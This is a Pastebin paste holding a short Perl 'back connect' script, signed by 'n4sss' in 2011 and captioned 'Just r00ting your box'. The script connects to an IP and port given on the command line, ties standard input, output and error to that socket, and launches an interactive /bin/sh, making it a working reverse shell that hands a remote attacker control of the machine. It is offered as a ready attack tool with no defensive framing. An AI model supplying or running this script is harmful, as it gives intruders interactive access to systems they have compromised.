Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #By n4sss.
- #Just r00ting your box.
- #2011
- #!/usr/bin/perl
- use Socket;
- use FileHandle;
- $IP = $ARGV[0];
- $PORT = $ARGV[1];
- socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
- connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
- SOCKET->autoflush();
- open(STDIN, ">&SOCKET");
- open(STDOUT,">&SOCKET");
- open(STDERR,">&SOCKET");
- print "########################################\n";
- print "# Back Connect Script By n4sss #\n";
- print "########################################\n";
- system("/bin/sh -i");
- #Contact: n4sss@hotmail.comBa
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement